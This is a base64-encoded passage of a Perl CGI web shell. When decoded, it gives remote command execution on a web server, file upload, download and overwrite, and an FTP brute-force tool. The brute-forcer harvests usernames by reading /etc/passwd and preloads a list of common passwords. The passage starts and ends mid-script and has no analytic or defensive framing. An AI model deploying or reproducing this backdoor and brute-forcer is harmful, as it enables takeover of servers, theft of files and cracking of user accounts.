YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0Z